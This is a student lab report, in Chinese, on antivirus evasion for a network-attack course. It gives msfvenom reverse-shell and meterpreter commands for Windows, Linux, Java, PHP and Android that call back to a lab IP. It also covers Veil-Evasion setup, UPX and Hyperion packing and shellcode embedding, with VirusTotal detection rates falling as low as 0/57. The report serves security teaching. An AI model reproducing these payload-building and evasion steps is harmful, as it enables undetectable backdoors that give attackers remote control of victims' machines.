基础知识部分参考免杀原理与实践指导
-一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式Heuristic,根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
总体技术有:
改变特征码
改变行为
非常规方法
留后门的思路是这样的:
在实验二中已经生成了后门程序20175304_backdoor.exe
,msfvenom直接生成meterpreter可执行文件,检出率为57/72,即72个扫描引擎中有57中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
Step1:输入下面的代码,生成met-encoded.exe
文件,并对后门程序进行编码(编码一次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.62.134 LPORT=5304 -f exe > met-encoded.exe
文件生成截图:
将文件复制到Windows中,杀毒软件会提示该文件是木马文件:
用Virustotal识别该文件,检出率为56/72,比没有编码前降低了一点,但这样文件还是能被查出
Step2:输入下面的代码,生成met-encoded10.exe
文件,并对后门程序进行编码(编码十次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ -i 10 LHOST=192.168.62.134 LPORT=5304 -f exe > met-encoded.exe
将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,并删除。
手动恢复文件后,用Virustotal识别该文件,检出率为57/72,不降反升了,说明就算多编码几次免杀效果并不会提升,这个办法没用。
原因主要有两个:
操作方法与Windows后门类似,输入下面的代码生成木马文件。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_linux_backdoor
与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名
赋予可执行的权限。执行时使用./程序名
即可。
Linux下的后门在Virustotal中识别不出来:
Java程序在windows下和在linux下都可以生效执行。使用下面的代码生成木马文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_java_backdoor.jar
jar文件的检出率为35/74
使用下面的代码生成木马文件,把生成的php文件放到网站上面,当别人访问的时候就会执行。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_php_backdoor.php
php文件的检出率为3/73
使用下面的代码生成木马文件,此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_android_backdoor.apk
apk文件的检出率为26/74
输入sudo apt-get install veil
安装veil,由于是实验之前安装的,所以没有过程截图。
step1:输入use evasion命令进入veil-evasion并输入use c/meterpreter/rev_tcp.py进入配置界面
Step2:输入set LHOST 192.168.62.134
和set LPORT 5304
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step3:输入generate
生成文件,根据提示输入文件名:20175304_veil_backdoor
,然后就能看到文件的存放目录了。
Step4:把生成的文件用Virustotal识别,检出率是55/72。
从技术上分壳分为:
输入upx 20175304_backdoor.exe -o 20175304_backdoor_upxed.exe
将文件复制到Windows后,杀毒软件立马查杀了该文件。
用Virustotal识别,检出率是54/72。
输入wine hyperion.exe -v 20175304_backdoor_upxed.exe 20175304_backdoor_upxed_Hyperion.exe
对文件加上加密壳。
用Virustotal识别,检出率是48/73。
Step1:使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 -f c
生成一段shellcode。
Step2:创建一个文件callshellcode.c
,然后将unsigned char buf[]
赋值到其中。
Step3:输入i686-w64-mingw32-g++ callshellcode.c -o 20175304.exe
,将此文件编译为可执行文件。
Step4:用Virustotal识别,检出率是41/78。
Step1:输入sudo veil
之后再输入use evasion
进入免杀平台:
从上图可以看到输入list
可以查看可用的payloads,那么就输入list
查看一下:
可以看到序号7是老师在指导书中使用的payload,用的是C语言,这边我准备用一个不一样的payload,用的是Python。
Step2:输入use python/meterpreter/rev_tcp.py
进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
Step3:输入set LHOST 192.168.62.134
和set LPORT 5304
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step4:输入generate
生成文件,根据提示输入文件名:20175304_veil_backdoor
2
Step5:生成文件时,系统会问如何创建负载可执行文件?
,我选的是2 Py2Exe
,然后就能看到文件的存放目录了。
Step6:将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/57。
在2.6中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0。
在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀。
/usr/share/veil-evasion/tools/hyperion
目录解决方法:参考博客,具体操作如下:
apt-get install mingw-w64
unzip Hyperion-2.2.zip
CC =i686-w64-mingw32-gcc
make
解决方法:使用简易版本,使用流畅。
可以分为以下两种:
不被杀软检测出来,渗透测试中需要使用的技术。
从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有三大类:
非常规方法:纯手工打造、社工类攻击。
改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
改变行为:使用反弹连接、隧道技术、加密通讯数据等。
不能,通过一些方式改变了恶意代码中的特征码,那么恶意软件将不被杀毒软件发现,但这并不意味着该文件是安全的、没有病毒的。
本次实验操作过程比较漫长。做免杀操作的时候发现之前几次实验的内容还是不太熟悉。希望通过之后老师的讲解和自己多动手实践逐步加深理解和记忆。
20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp3 免杀原理与实践
原文:https://www.cnblogs.com/lcyll/p/12602861.html